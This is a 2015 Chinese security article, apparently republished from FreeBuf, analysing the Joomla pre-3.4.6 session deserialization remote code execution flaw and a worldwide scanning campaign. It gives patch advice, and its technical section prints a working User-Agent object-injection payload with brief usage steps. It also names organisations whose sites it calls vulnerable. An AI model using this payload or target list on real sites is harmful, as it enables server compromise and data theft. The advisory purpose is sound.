前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Joomla高危漏洞扫描事件分析

Joomla高危漏洞扫描事件分析

作者头像
FB客服
发布2018-02-07 12:03:58
1.6K0
发布2018-02-07 12:03:58
举报
文章被收录于专栏:FreeBuf

1.摘要

12月14日,Joomla官方网站紧急发布了一条由于安全漏洞引发的版本更新(3.4.6),根据安全公司sucuri对外发布的信息,此事扫描时间是利用了Joomla的反序列化特性的问题导致命令执行的高危漏洞。从中国时间12月13日凌晨开始,有3个IP针对全球的网站进行了大规模的扫描。根据白帽汇安全团队的分析,此次扫描有两个特性:一是针对中国的网站扫描的较少,大批量针对国外的网站进行的;二是扫描并没有触发实质性的破坏工作。

虽然此次扫描并没有进行实质性的破坏,但是漏洞本身是高危害性的,成功攻击的情况下会导致敏感数据丢失,服务器被控制,甚至是服务中断。建议使用了Joomla的网站尽快到官方网站进行补丁更新,在最新版本3.4.6之前的所有版本都受影响。

通过对全球60万家采用Joomla的网站进行进一步分析,截至12月15日23点30分,此次漏洞影响至少超过49000家网站,绝大部分集中在国外(美国排名第一),国内目前监控到超过600家网站存在漏洞,我们会在后续持续更新进一步动态。

2.事件回溯

12月13日,由IP 74.3.170.33 发起的小规模漏洞扫描; 12月14日到15日,由IP 146.0.72.83 和194.28.174.106发起的更大规模的全网扫描。 12月15日,安全公司sucuri的官方博客对外发布消息,表示在中国时间12月13日陆续截获到了来自3个IP的大规模扫描事件。 12月15日,joomla官方发布最新版本3.4.6修复该漏洞。 12月15日,国内各安全相关团队对互联网进行了激烈的比拼扫描,为国内互联网流量增长持续贡献价值。

经过技术分析,此次漏洞利用需要在一个session会话内进行两次发包,而实际上我们通过大量的安全日志分析只看到了第一次POC的发送,并没有看到第二次利用的过程,这是我们比较不理解的。所以我们也并没有看到实质性的破坏工作,这也是不幸中的万幸。

3.技术还原

通过Diff最新的补丁发现官方在补丁中删除了User-Agent的获取:

这个漏洞存在于反序列化session的过程中,在libraries/joomla/session/session.php 文件中,_validate函数通过set把User-Agent数据存入进数据库:

Joomla并没有采用php自带的session处理机制,而是用自己编写了存储session的容器(storage),其存储格式为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』,这里并没有正确处理多个竖线的情况。所以,攻击者就可以通过注入一个"|"符号,将它前面的部分全部认为是name,而|后面我就可以插入任意serialize字符串,进行触发反序列化漏洞了。

我们可以构造一个exp插入User-Agent:

User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:”phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð

进行访问站点,把恶意的User-Agent插入数据库,然后再此访问站点成功利用(注意cookie保证一致)

更多技术细节可以查看原文。

4.影响危害

易攻击对象:

采用Joomla系统 版本低于3.4.6(也就是12月15日之前的所有版本)

5.修补加固建议

此次事件利用的漏洞影响范围非常广泛,所以请所有采用Joomla的网站尽快升级至3.4.6版本或安装官方补丁。

注:下载补丁直接替换\libraries\joomla\session\session.php文件。

另外,可以通过加入一些安全云防护类产品来进行保护,比如360网站卫士,百度云加速,知道创宇加速乐等等,他们在漏洞发生后的第一时间内都增加了防护规则。

6.常见问题FAQ

Joomla是什么?

Joomla是一套在国外相当知名的内容管理系统(简称CMS),使用PHP语言和MySQL数据库开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。在国内实际应用的场景不算太多。

这次扫描事件有什么危害?

成功的入侵能够导致敏感数据丢失,服务器被完全控制,甚至是服务中断。

影响范围有多大?

全球大约有60万采用Joomla进行建站的网站,中国互联网大约有11000家网站。通过白帽汇安全团队的监控,至少有49000家网站受影响,主要集中在美国,国内实际影响的网站数超过627家。

到哪下载补丁?

3.x和2.x版本地址下载,请阅读原文

我应该怎么做?

参考修复建议,直接更新版本或者补丁。

如果发现了入侵痕迹,还要将已经入侵成功的后门进行清除。

7.影响的部分网站

此次漏洞影响的网站主要集中在国外,全球漏洞排名前十的国家是:

11781 美国 6522 德国 3622 波兰 3474 荷兰 2427 俄罗斯 2423 法国 1751 英国 1392 意大利 1232 澳大利亚 1049 加拿大

国内影响的部分知名网站:

国家林业局 OPPO手机 中央广播电视大学 华东政法大学 中国香港中文大学 GLP集团 中山大学 东莞电子科技大学 红豆集团 富国集团 陕西师范大学 商丘廉政网 世界O2O博览会 博雅方略咨询(集团) 石家庄铁道大学 葵花游戏 凉山矿业股份有限公司 四姑娘山官方网站。

国外影响的部分知名网站:

哈佛大学 麻省理工大学 剑桥大学 Intel IEEE Honda 牛津大学 东京大学 加州州议会大厦博物馆 Utah尤他政府网 南佛罗里达大学 Amtrak警察局 CashStar。

对应的世界地图为:

8.参考

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

https://github.com/rapid7/metasploit-framework/issues/6347

http://php.net/session_set_save_handler

http://php.net/manual/zh/session.configuration.php#ini.session.serialize-handler

https://github.com/joomla/joomla-cms/compare/3.4.5...3.4.6?diff=split&name=3.4.6

http://drops.wooyun.org/papers/11330

*本文作者:白帽汇(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2015-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档